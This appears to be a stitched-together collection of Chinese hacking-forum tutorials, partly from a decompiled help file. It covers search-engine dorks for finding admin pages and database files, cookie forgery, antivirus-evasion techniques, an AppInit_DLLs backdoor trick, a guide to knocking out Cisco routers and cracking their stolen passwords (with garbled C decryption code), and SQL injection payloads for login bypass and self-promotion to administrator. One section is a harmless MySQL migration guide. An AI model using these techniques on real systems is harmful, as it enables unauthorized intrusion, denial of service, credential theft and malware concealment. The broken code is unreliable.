(1).inurl:flasher_list.asp 默认数据库:database/flash.mdb 后台/manager/
(2).找网站的管理后台地址:
site:xxxx.comintext:管理
site:xxxx.comintitle:管理 <关键字很多，自已找>
site:xxxx.cominurl:login
(3).查找access的数据库,mssql、mysql的连接文件
allinurl:bbsdata
filetype:mdbinurl:database
filetype:incconn
inurl:datafiletype:mdb
我主不做了。。自已做做吧。。

13.COOKIE诈骗：把自己的ID修改成管理员的，MD5密码也修改成他的，用桂林老兵工具可以修改COOKIE。这个我就不多讲了
14.利用常见的漏洞：如动网BBS
EY：http://js1011.com/bbs/index.asp
可以先用:dvbbs权限提升工具，使自已成为前台管理员。
THEN，运用:动网固顶贴工具，找个固顶贴，再取得COOKIES，这个要你自已做。我们可以用WSockExpert取得Cookies/NC包
这个我就不做了，网上教程多的是，自已下个看看。
工具：dvbbs权限提升工具 动网固顶贴工具


构造特殊文件名绕过多个反病毒引擎

文章作者：root (webmaster_at_xfocus.org)

类别: 设计错误

威胁程度：中

BUGTRAQ ID: 15423

受影响的反病毒引擎:

Kaspersky Antivirus
Symantec AntiVirus
F-Prot Antivirus
ClamWin Antivirus
Avast Antivirus
RAV AntiVirus
Microsoft AntiSpyware

经测试版本:
Symantec AntiVirus Corporate 8.0
Kaspersky Antivirus Personal Pro 4.5.0.104
Kaspersky Antivirus For MS NTServer 4.5.0.104
F-Prot Antivirus 3.16c
ClamWin Antivirus 0.87
Avast.Professional.Edition.v4.6.603
RAV.AntiVirus.Desktop.v8.6
Microsoft AntiSpyware beta1

1.问题描述：

Windows 系统可使用多种特殊符号作为文件名，一些反病毒引擎无法正常解析特殊构造文件名，从而对文件操作失败。

2.技术描述：

测试方法：

选择一个可被检测的文件，比如nc.exe,对文件进行重命名为：nc??.exe。(?? =hex C0 D7 BA DC)

然后使用反病毒软件进行扫描。

因为这些特殊的名字无法直接输入，那么如果想使用修改后的文件(nc??.exe)，可以采用如下方法：

[ROOT@D:\Vul\bugtrap]#dir /x

1998-01-03 14:37 59,392 NC294E~1.EXE nc??.exe

[ROOT@D:\Vul\bugtrap]#NC294E~1.EXE -help
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:

使用MS-DOS文件名，可以对文件进行打开、读取、写入和复制等操作。

事实上多数厂家在对此类问题处理上均有一些问题：比如Kaspersky在右键点击的此类文件时弹出菜单无扫描选项，Symantec AntiVirus Corporate V10.0.1.1000 可以检测但无法清除。AVG Anti-Virus 正常路径扫描可以通过，但点击扫描选项后却无法读文件。


关于免杀的一点经验

国内的瑞星、金山、KV等，支持文件查杀[特征码]、内存监控[内存特征码]
国外的卡巴斯基等，支持文件查杀[特征码+杀壳引擎]，内存监控[特征码+杀壳引擎]。
免杀手段：

1.压缩[UPX、ASPACK、PECompact、NSPACK、UPACK、expressor等]
2.加密[TELOCK、ASProtect、ACProtect、Morphine、PEspin等]
3.修改特征码[自动、手动]
4.修改入口点法[加区段、修改入口点]
5.花指令[和4差不多，只是稍加点技术]
对付国内的以上5种都有效！
对付内存监控可以用2、3等方法！

对付国外的2、3、4+5有效！
解释一下，为什么以前的加壳工具对卡巴都没效？

卡巴斯基具有极强脱壳引擎，对以知的加壳、加密软件都就有脱壳作用！

你用被杀壳的软件加了N层壳，结果对卡巴来说等于没加壳！
免杀难点——免卡巴：
1.用最新的压缩、加密软件是免杀卡巴最简单的方法！但是不能坚持多久就会被杀！
2.同时使用免杀手段的3+4+5再压缩，自己用的个人版软件几乎永远不被杀！
暂时简单介绍到这里！
以后介绍怎么用现有公布的压缩代码，制作自己个人用的免杀压缩软件！


用telnet的方法导出、导入论坛mysql数据库

文章作者：柒十
1。这里介绍的方法主要适用于VB等论坛。
用TELNET的方法可将现有的服务器上的数据库导出,然后再将此数据导入另一台服务器,用这个方法可以实现论坛在两个服务器的迁移; 或者将服务器上的现有论坛搬到本机,来进行增加功能及 HACK 的安装调试, 而不会影响服务器上的论坛的运作。
我已用这个方法将我的整个网站（有论坛、新闻发布、及其他个人的主页）的文件和数据库全部搬到本机，可以实现文件和数据库的备份，同时可以在本机进行多种功能、多操作系统的的测试。
2。有多种方法可以实现 mysql数据库的导出、导入，但我用PHPmyadmin没有成功，也许是数据库大于5MB的原因吧。没有进行详细分析。
3。运行telnet 程序连接本地机与远程机：
如果你用的是windows 系统：开始(Start)--〉运行(Run),键入telnet,你将看到：
telnet>
这是telnet提示符。它表明程序已运行并等待你录入一个命令。若要连接一台远程机，录入open，并附上远程机的地址及端口即可。例如：
open XXXX.com 23
提供用户名和密码
login： XXXXXX
Password：XXXXXX
我朋友所使用的Web Host服务器是Unix系统，要用SSH（Secure Shell）来连接，另一台使用的是SecureCRT3.3.

4.连接到主机后，备份现有的数据库：
键入指令 mysqldump -uUSERNAME -pPASSWORD databasename > /你的路径/dump.sql
这个过程大约30秒钟，取决于你的数据库的大小。
之后，检查一下/dump.sql文件是否存在。

5。传送dump.sql文件到新的服务器或本机：
可以用FTP的方式传送。不用详细讲了吧。

6。在新的服务器上复制VB论坛：
运行telnet 程序连接服务器（远程机）
键入指令 mysql -uUSERNAME -pPASSWORD newdbname < /你的路径/dump.sql
之后，可以用PHPmyadmin检查数据库导入的情况。
重新配置好 admin/config.php 文件，上传到服务器.
运行admin/index.php 进入管理员控制面板，--〉论坛选项 ，进行论坛设置：论坛URL，主页的URL等信息，然后“保存修改”。
OK！全搞定！


Dll隐蔽进程
看了那么多大侠、大仙关于隐藏进程的介绍，深感“做人难，作黑人更难”。不过有一 种隐藏进程的方法倒是不用什么编程技巧的（其实也不容易）。注意下面这个键值：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="backdoor.dll"
wantjob就是用这个法子。微软知识库Q134655和Q125680里介绍过，大家不妨弄来看看。

写一个backdoor.dll，再加上这个键值，系统启动后就会加载这个模块。因为没有自己
的进程，所以也是看不见的。backdoor.dll还可以学wantjob 的损招，不断检查这个键值，
被人删了就再重写回来。

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


在你看之前需要了解的:
－什么是IP地址？
－什么是ISP？
－什么是TCP/IP数据包？
－怎样隐藏你的IP地址？
－怎样使用Telnet？
－怎样使用HyperTerminal？
－怎样使用Ping？
－怎样使用TraceRoute？
－怎样使用代理服务器？
----------------------------------------------------------------------------------------------
－第一段：为什么攻击cisco路由器？
－第二段：怎样找到一个cisco路由器？
－第三段：怎样闯入一个cisco路由器？
－第四段：怎样破解密码？
－第五段：怎样使用一个cisco路由器？
----------------------------------------------------------------------------------------------
你看之前需要了解的知识：
----------------------------------------------------------------------------------------------
什么是IP地址？
IP是Internet Protocol的缩写,电脑通过IP地址来识别网络中的其它电脑，与其连接。这就是你为什么会
在IRC中被踢走，并且找到你的ISP和你的大概位置。IP地址是很容易得到的，基本上可以由以下几种方法
获得：
-你访问某网站,你的IP被记录
-在IRC中,某人得到你的IP地址
-在ICQ，OICQ中,可以简单的得到你的IP地址，使用一些小工具。
-如果你的电脑和某人连接起来，运行 systat即可看到和那些电脑连接（以IP地址显示）
-某人发给你一封用java程序写的邮件，可以得到你的IP地址

还有其它许多方法得到IP地址，包括使用一些木马和后门程序。
-----------
什么是ISP？

ISP是Internet Service Provider的缩写,你通过它们连接到internet.你拨号后就会连接和其连接。我
们可以运行一个traceroute（跟踪路径）来寻找我们的ISP（traceroute 在后面还会介绍).
你应该看到像这样:
tracert 222.222.22.22
Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]<<<你的ISP
2 122ms 143ms 123ms isp.firewall [222.222.22.20]<<Preferences。你可以在这改变缓冲区的大小。
你也可以 打开/关闭 local echo。如果你打开了local echo，你的电脑将显示你输入的任何东西，
并且连接上的电脑将显示回应。
所以你将会看到就像这些：
你输入 hello,你看到的是
hhelelollo
这是因为返回的信息和你输入的内容已经混合起来了。我这样做的唯一的原因是看连接的机器对我的输入，
是否产生回应。
在默认的情况下，telnet只会通过telnet端口连接，即是断口23。你并不会只通过端口23连接，所以你连
接的时候，你可以任意改变端口。你可以改成25，那是邮件服务程序的端口。也可以是21，那是ftp的端口。
总共有上千个端口，所以你要选择正确的端口！
-----------------------------------------------------------------------------------------------
怎样使用超级终端？
超级终端可以让你的电脑的任意端口进行监听某台电脑，如果有信息来到这个端口，就可以进行传输件。超
级终端在 开始>程序>附件>通讯 中，没有的话，你可以通过控制面板中安装。首先，你要选择连接协议，我
们选TCP/IP Winsock，接着输入要连接的电脑，下面选择端口。可以选择Call>Wait for Call，来等待
文件。这样其它的电脑就可以通过某个端口连接上你了，你也可以聊天，或者传送文件了。
:我的超级终端可能不一样，没有这个功能。
----------------------------------------------------------------------------------------------
怎样使用Ping？
Ping的使用很简单，在MS-DOS方式下，输入“ping IP地址”，默认是ping三次，你也可以自己设定。
ping ip地址 -t
可以使其不停的ping。
改变 ping 的大小可以这样做:
ping -l (size) ip.address
ping其实是向远程的机器发送数据包，远程的机器接收到就会把数据包原路返回，我们可以看到这个过程的
时间。时间越短，速度就越快，当然，拥挤的时候，就会发生数据包丢失。 Ping 会减慢被ping的电脑的速
度，流量过大的时候，甚至使其down机。一分钟的ping攻击就可以使一台win98的电脑崩溃。(因为它的连接
缓冲区溢出 - 连接过量，所以Windows决定休息休息了:>).ping攻击也会占用你许多带宽，所以你的带宽要
比目标机器大(除非目标机器运行的是Windows 98，而且你有个不错的猫，那么一分钟内，你就可以叫它下台).
Ping攻击对强壮的系统没有效果。
注意: DOS's -t 选项不是一个ping攻击,它只是很小的连接一下，而且中间有很多间隔。在Unix或Linux
的机器中，你可以用上参数 －f 进行真正的ping攻击。其实，如果你的分布是POSIX-compliant (POSIX -
Portable Operating System Interface based on uniX)，否则那就不是真正的Unix/Linux 分布。那
么如果你有个 OS，称自己既是Unix，又是Linux，那么就是有 －f 。
-----------------------------------------------------------------------------------------------
怎样使用TraceRoute？
要跟踪你的连接（可以观察到目标机器的连接路线），只要在MS-DOS方式下，输入“tracert IP地址”。你
将会看到一个电脑的目录，就是你和目标之间通过的机器。.
你可以用此方法确定是否存在防火墙，也可以确定某人的ISP(internet service provider)。
要确定ISP，只要看目标机器的前一个IP地址，那就应该是ISP的路由器。
基本上说，这就是traceroute怎样工作－一个 TCP/IP 数据包，在它的头部有一个值(在IP的头部。如果你不
知道这是什么意思，没关系，你接着往下看就可以了)称作 TTL,它是Time To Live的缩写。当一个数据包通过
路由器的时候，它的TTL值就会减少。这样可能会使数据包在网络中流窜，消耗带宽。所以每当一个数据包TTL
值达到0的时候，它就会失效并且因为一个ICMP错误返回到发送者。现在traceroute 先发送一个TTL值为1的
数据包，那么它很快就会返回。查看ICMP错误的头部，traceroute就可以知道数据包第一步通过哪。接着就
会发送TTL值为2的数据包，返回后，就是第二次通过的地方。依次下去，直到最终的目的地，就可以知道整个
路径。
现在你是不是明白了呢? :-)
----------------------------------------------------------------------------------------------
怎样使用代理服务器？
在网上寻找一个代理服务器，包括你需要的打开的端口的代理服务器。找到后，你可以用telnet 或
hyperterminal通过代理服务器连接到另外一台电脑上。这样做对方的电脑就不可以确定你的IP地址。
-----------------------------------------------------------------------------------------------
第一段：为什么攻击cisco路由器？
你可能会想.. 为什么要攻击 cisco 路由器呢?
答案就是那样做将对闯入其它的系统非常有用...
Cisco路由器非常的快，在一个系统中，一些会是以18 T1连接。而且它们非常灵活，尽管大多数运行
telnet，但是它们可以在DoS攻击或攻入其它系统时发挥作用。
它们同时还会有成千的数据包通过。但是可以被捕获进行译码...许多的cisco路由器受托于系统，它们
可以让你获得其网络中访问其它电脑的确切的数量。
-----------------------------------------------------------------------------------------------
第二段：怎样找到一个cisco路由器？
寻找一个cisco路由器可以说是以项简单的任务，几乎所有的ISP至少通过一个cisco路由器。最简单的
方法是在dos下运行tracert，你可以跟踪到电脑之间的许多电脑，在这之间，必有一个 “cisco”这个
名字。如果你发现了，记下它的IP地址。
:在中国未必有cisco这个名字，但是肯定有路由器的，你可以用SuperScan扫描前两个IP地址，
看哪个开2001端口（Cisco路由器管理）和23端口即是的啦！

现在，你有cisco路由器的位置了，但是它可能还有一个防火墙保护它，所以你要检查一下它是否被封
锁ping连接的次数，如果有回应，它就有可能未被封锁。另外一种方法就是试着访问cisco路由器的一些
端口。你用telnet即可，端口23，如果它要输入密码，未叫输入用
户名，你就可能在一个防火墙。
试着找一个未受防火墙保护的路由器，因为这篇教程主题是路由器，不是教你怎样通过防火墙。当你确
信找到一个好的系统，你应该找一个可以使用23端口的代理服务器，这样你的IP地址就不会被路由器记
录下来了。:找到一台运行Wingate的机器即可。
-----------------------------------------------------------------------------------------------
第三段：怎样闯入一个cisco路由器？
Cisco路由器运行 V4.1 版本的软件（现在普遍使用的），这很容易干掉。你只要通过代理服务器连接到
一个cisco路由器，输入一串很长的密码，如：
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk

现在开始等，cisco系统将会重新启动，可以说你已经攻击它，使它离线了...但是过2-10分钟，它就会
恢复，我们应该进入它。
如果什么都没发生,那么它运行的不是脆弱的软件,你可以多试几种DoS攻击，比如大量的 ping.到dos下，
输入 ping -l 56550 cisco.router.ip -t,这会起到同样的效果.
:很有可能以上两种方法都不行，反正是要其down机，那么试试那个攻击yahoo的udpFlood，一定
可以使其down机。一定要注意小心啊！我相信你应该知道该怎么保护自己。
如果它被动结,就另找一个代理服务器进行连接。并且用户名为admin，密码为admin，因为这是默认的。
因为当它暂时的disabled，它将恢复到默认状态。
:你到我主页，会有一篇文章包括几乎所有的路由器的默认用户名和密码。
现在，你已经进入了，你应该获得密码文件！系统运行不同的软件，但大部分有个像htl-textil
这类的提示，现在输入?，观看命。你会看到有很多的命令，你会发现一个传送命令，用这个命令，在当前Admin用户的情况下，把密码文件发送到你的电脑23端口上。但是在这之前，你要把你的超级终端设定好。你发送文件之后，超级终端将问你是否接收文件，你选择是并保存在电脑中即可。离线. 你通过了最难的部分，下面准备开始破解密码。
-----------------------------------------------------------------------------------------------
第四段：怎样破解密码？
现在，你获得了密码文件，你要破解它才能继续进入路由器。所以你可以运行John the Ripper之类的软件破译它。
这是我推荐的最简单的方法.另一种方法是试着把它解码。这样做需要一个解码软件，使用某些解码软件，你还要有足够的耐心。
这儿有一个专门为cisco路由器密码文件解码的软件，你可以在Linux中编译它:
#include
#include
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = password 7 ;
char pw_str2[] = enable-password 7 ;
char *pname;
cdecrypt(enc_pw, dec_pw)
char
        *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val =
        0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - ?') * 10 enc_pw[1] - ?'
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i )
        {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^
        xlat[seed ];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i])))
        {
val = enc_pw[i] - ?'
continue;
}
if(enc_pw[i] >= 'A' && enc_pw[i]
        <= 'F') {
val = enc_pw[i] - 'A' 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[ i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, Usage: s -p \n, pname);
fprintf(stdout, s \n, pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char
        line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3)
        {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
if(cdecrypt(argv[2], passwd))
        {
fprintf(stderr, Error.\n);
exit(1);
}
fprintf(stdout,
        password: s\n, passwd);
break;
default:
fprintf(stderr, s: unknow option., pname);
}
return(0);
}
if((in = fopen(argv[1], rt)) ==
        NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], wt)) ==
        NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i )
        {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line[i]
        == '\r')
i--;
if(line[i] == '\n')
break;
}
pw_pos =
        0;
line[i] = 0;
if(!strncmp(line, pw_str1,
        strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2,
        strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, s\n,
        line);
continue;
}
if(cdecrypt(&line[pw_pos], passwd))
        {
fprintf(stderr, Error.\n);
exit(1);
}
else {
if(pw_pos
        == strlen(pw_str1))
fprintf(out, s, pw_str1);
else
fprintf(out,
        s, pw_str2);
fprintf(out, s\n,
        passwd);
}
}
}
如果你没有使用Linux，你就只好用John the Ripper之类的软件，带上密码档，进行暴利破解。
-----------------------------------------------------------------------------------------------
第五段：怎样使用一个cisco路由器？

要使用它，你先必须连接到它，你可以用代理，以免你的IP地址被记下。当你进入的时候，如果你想关闭
历史记录来掩盖你的行为，你只要输入terminal history size 0。这样就不会被记下什么了! 输入 ?
来看路由器中的命令，大多数你都可以用的。

这些路由器一般都有telnet，所以你可以通过telnet连接到其它的系统上(比如unix boxes)，并且攻击
它们。你还可以使用ping 和 traceroute 进行跟踪系统或进行DoS攻击。你也可以监听数据包，但我不推荐
这样做，因为并不是一定成功，而且会被发现....
-----------------------------------------------------------------------------------------------
如果你第一次没有攻入cisco，不要担心...你一两次是不可能成功的。它需要不断的练习和超强的耐力。
这儿只向你将怎样做...一定要在合法的情况下进行啊！


Php+Mysql注入专题

本文作者:alpha
文章出处:炎黄兵团
Php+Mysql注入专题

#-------------------
#文章中的图片没有上传,要看的可直接与我联系
#---------------------------

Php注入攻击是现今最流行的攻击方式，依靠它强大的灵活性吸引了广大黑迷。
在上一期的《php安全与注射专题》中林.linx主要讲述了php程序的各种漏洞，也讲到了php＋mysql注入的问题，可是讲的注入的问题比较少，
让我们感觉没有尽兴是吧.
OK,这一期我将给大家伙仔仔细细的吹一吹php＋mysql注入，一定让你满载而归哦（谁扔砖头哩！）。
本文主要是为小菜们服务的，如果你已经是一只老鸟呢，可能某些东西会感觉比较乏味，但只要你仔细的看，你会发现很多有趣的东西哦。
阅读此文你只要明白下面的这点东西就够了。
1.明白php+mysql环境是如何搭建的，在光盘中我们收录搭建的相关文章，如果您对搭建php+mysql环境不是很清楚，请先查阅此文，
在上一期的专题中也有所介绍。
2.大概了解php和apache的配置，主要用到php.ini和httpd.conf
而此文我们主要用到的是php.ini的配置。为了安全起见我们一般都打开php.ini里的安全模式，即让safe_mode = On，还有一个就是返回php执行
错误的display_errors 这会返回很多有用的信息，所以我们应该关闭之，
即让display_errors＝off 关闭错误显示后，php函数执行错误的信息将不会再显示给用户。
在php的配置文件php.ini中还有一个非常重要的配置选项magic_quotes_gpc，高版本的默认都是magic_quotes_gpc＝On，只有在原来的古董级的php中的
默认配置是magic_quotes_gpc＝Off，可是古董的东西也有人用的哦！
当php.ini中magic_quotes_gpc＝On的时候会有什么情况发生哩，不用惊慌，天是塌不下来的啦！它只是把提交的变量中所有的 ' (单引号),
“ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符，例如把’变成了\’,把\变成了\\。
就是这一点，让我们很不爽哦，很多时候我们对字符型的就只好说BYEBYE了，
但是不用气馁，我们还是会有好方法来对付它的，往下看咯！
3.有一定的php语言基础和了解一些sql语句，这些都很简单，我们用到的东西很少，所以充电还来的及哦！
我们先来看看magic_quotes_gpc＝Off的时候我们能干些啥，然后我们再想办法搞一搞magic_quotes_gpc＝On的情况哈
一：magic_quotes_gpc＝Off时的注入攻击
magic_quotes_gpc＝Off的情况虽然说很不安全，新版本默认也让
magic_quotes_gpc＝On了，可是在很多服务器中我们还发现magic_quotes_gpc＝Off的情况，例如www.qichi.*。
还有某些程序像vbb论坛就算你配置magic_quotes_gpc＝On，它也会自动消除转义字符让我们有机可乘，所以说
magic_quotes_gpc＝Off的注入方式还是大有市场的。
下面我们将从语法，注入点 and 注入类型几个方面来详细讲解mysql＋php注入
A:从MYSQL语法方面先
1。先讲一些mysql的基本语法，算是给没有好好学习的孩子补课了哦~_~
1）select
SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
select_expression,...
[INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
[FROM table_references
[WHERE where_definition]
[GROUP BY col_name,...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
]
常用的就是这些，select_expression指想要检索的列，后面我们可以用where来限制条件，我们也可以用into outfile将select结果输出到文件中。
当然我们也可以用select直接输出
例如
mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec)
具体内容请看mysql中文手册7.12节
下面说一些利用啦
看代码先
这段代码是用来搜索的哦
<form method=“POST” action=“<? echo $PHP_SELF; ?>“>
<input type=“text” name=“search”><br>
<input type=“submit” value=“Search”>
</form>
<?php
………
SELECT * FROM users WHERE username LIKE ‘%$search%’ ORDER BY username
…….
?>
这里我们顺便说一下mysql中的通配符，’%’就是通配符，其它的通配符还有’*’和’_’,其中" * "用来匹配字段名，而" % "用来匹配字段值，
注意的是%必须与like一起适用，还有一个通配符，就是下划线" _ "，它代表的意思和上面不同，是用来匹配任何单个的字符的。在上面的代码中
我们用到了’*’表示返回的所有字段名，%$search%表示所有包含$search字符的内容。
我们如何注入哩？
哈哈，和asp里很相似
在表单里提交
Aabb%’ or 1=1 order by id#
注：#在mysql中表示注释的意思，即让后面的sql语句不执行，后面将讲到。
或许有人会问为什么要用or 1＝1呢，看下面，
把提交的内容带入到sql语句中成为
SELECT * FROM users WHERE username LIKE ‘%aabb%’ or 1=1 order by id# ORDER BY username
假如没有含有aabb的用户名，那么or 1＝1使返回值仍为真，使能返回所有值
我们还可以这样
在表单里提交
%’ order by id#
或者
’ order by id#
带入sql语句中成了
SELECT * FROM users WHERE username LIKE ‘% %’ order by id# ORDER BY username
和
SELECT * FROM users WHERE username LIKE ‘%%’ order by id# ORDER BY username
当然了，内容全部返回。
列出所有用户了哟，没准连密码都出来哩。
这里就举个例子先，下面会有更精妙的select语句出现，select实际上几乎是无处不在的哦！
2)下面看update咯
Mysql中文手册里这么解释的：
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
[WHERE where_definition]
UPDATE用新值更新现存表中行的列，SET子句指出哪个列要修改和他们应该被给定的值，WHERE子句，如果给出，指定哪个行应该被更新，否则所有行被更新。
详细内容去看mysql中文手册7.17节啦，在这里详细介绍的话会很罗嗦的哦。
由上可知update主要用于数据的更新，例如文章的修改，用户资料的修改，我们似乎更关心后者，因为......
看代码先哦
我们先给出表的结构，这样大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
其中userlevel表示等级，1为管理员，2为普通用户
<?php
//change.php
……
$sql = "UPDATE users SET password='$pass', email='$email' WHERE id='$id'"
……
?>
Ok，我们开始注入了哦，在添email的地方我们添入
netsh@163.com’,userlevel=’1
sql语句执行的就是
UPDATE users SET password='youpass',
email='netsh@163.com’,userlevel=’1’ WHERE id='youid’
看看我们的userlevel就是1了，变成管理员了哟
哈哈，如此之爽，简直是居家旅行必备啊。
这里我们简单提一下单引号闭合的问题，如果只用了一个单引号而没有单引号与之组成一对，系统会返回错误。列类型主要分为数字类型，
日期和时间类型，字符串类型，然而引号一般用在字符串类型里，而在数字类型里一般人都不会用到引号（然而却是可以用的，而且威力很
大），日期和时间类型就很少用于注入了（因为很少有提交时间变量的）。在下面我们会详细将这几种类型的注入方式哦！
3)下面轮到insert了，它已经等的不耐烦了，简直就像中午食堂里的学生们。
Php中文手册是这样教我们的：
INSERT [LOW_PRIORITY | DELAYED] [IGNORE]
[INTO] tbl_name [(col_name,...)]
VALUES (expression,...),(...),...
INSERT把新行插入到一个存在的表中，INSERT ... VALUES形式的语句基于明确指定的值插入行，INSERT ... SELECT形式插入从其他表选择
的行，有多个值表的INSERT ... VALUES的形式在MySQL 3.22.5或以后版本中支持，col_name=expression语法在MySQL 3.22.10或以后版本中支持。
由此可见对于见不到后台的我们来说，insert主要就出现在注册的地方，或者有其它提交的地方地方也可以哦。
看看表的结构先
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
我们仍然假设userlevel表示用户等级，1为管理者，2为普通用户哈。
代码如下
<?php
//reg.php
……
$query = "INSERT INTO members VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
默认插入用户等级是2
现在我们构建注入语句了哦
还是在要我们输入email的地方输入：
netsh@163.com’,’1’)#
sql语句执行时变成了：
INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163.com’,’1’)#',?')
看我们一注册就是管理员了。
#号表示什么来着，不是忘了吧，晕了，这么快？
忘就忘了吧，下面再详细给你说说
2.下面说一说mysql中的注释，这个是很重要的，大家可不能再睡觉啦，要是再睡觉到期末考试的时候就挂了你们。
我们继续
相信大家在上面的几个例子中已经看到注释的强大作用了吧，这里我们将再详细介绍一下。
Mysql有3种注释句法
# 注射掉注释符后面的本行内容
-- 注射效果同#
/* ... */ 注释掉符号中间的部分
对于#号将是我们最常用的注释方法。
-- 号记得后面还得有一个空格才能起注释作用。
/*…*/ 我们一般只用前面的/*就够了，因为后面的我们想加也不行，是吧？
注意：在浏览器地址栏输入#时应把它写成%23，这样经urlencode转换后才能成为#，从而起到注释的作用。#号在浏览器的地址框中输
入的话可什么也不是哦。
为了大家深刻理解
这里我给大家来个例题
有如下的管理员信息表
CREATE TABLE alphaauthor (
Id tinyint(4) NOT NULL auto_increment,
UserName varchar(50) NOT NULL default '',
PASSWORD varchar(50) default NULL,
Name varchar(50) default NULL,
PRIMARY KEY (Id),
UNIQUE KEY Id (Id),
KEY Id_2 (Id)
)
<?php
//Login.php
……
$query="select * from alphaauthor where UserName='$username' and
        Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
Echo “重要信息”;
}
Else
Echo
        “登陆失败”;
……
?>
我们在浏览器地址框直接输入
http://***/login.php?username=a’or id=1 %23
%23转换成#了
放到sql语句中
select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd'
#号后面的都拜输入了，看看
这句话等价于
select * from alphaauthor where UserName='a’or id=1
再仔细看看表的结构，只要有id=1的账户，返回的$data就应该为真
我们就直接登陆了，当然你也可以写
hppt://***/login.php?username=a’or 1＝1 %23
一样的啦
3.下面将要出场的是……
对了，就是这些显示系统信息的间谍们
VERSION() 返回数据库版本信息
DATABASE() 返回当前的数据库名字，如果没有当前的数据库，DATABASE()返回空字符串。
USER()
SYSTEM_USER()
SESSION_USER()
返回当前MySQL用户名
mysql> select user(),database(),version();
+----------------+------------+----------------+
| user() | database() | version() |
+----------------+------------+----------------+
| root@localhost | alpha | 5.0.0-alpha-nt |
+----------------+------------+----------------+
1 row in set (0.01 sec)
如图(1)所示,图不是很爽是不是？睁大你的大眼睛好好看哦
有时候很有用的哦，比如说你可以根据他的mysql版本看看他的mysql有没有什么溢出漏洞，没准我们就发现个好动东哈哈
4. 下面进入最重要的部分了，没睡觉的打起精神来，睡着了的醒一醒啦。
1）select union select
还是php中文手册中讲的：
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被实现。
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。
在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
SELECT 命令是一个普通的选择命令，但是有下列的限制：
只有最后一个 SELECT 命令可以有 INTO OUTFILE。
需要注意的是union前后的select字段数相同，只有这样union函数才能发挥作用。如果字段数不等将返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误
晕咯，这样不好吧。咋半哩？
别急哈，急也没用的
例如：
已知alphadb表有11列
我们
mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如图（2）
我们只slect了10个数当然出错啦。
下面看
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图（3）
我们看看id＝247中的数据先
mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用adsutil.vbs+..--发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
-03-28 11:50:50 | Alpha | 17 | Alpha | 2 | 1 | 1 | 1 |
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)
我们看到，它的返回结果和
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦，大家或许会问，这样有什么用呢？
问的好。
Ok，继续试验
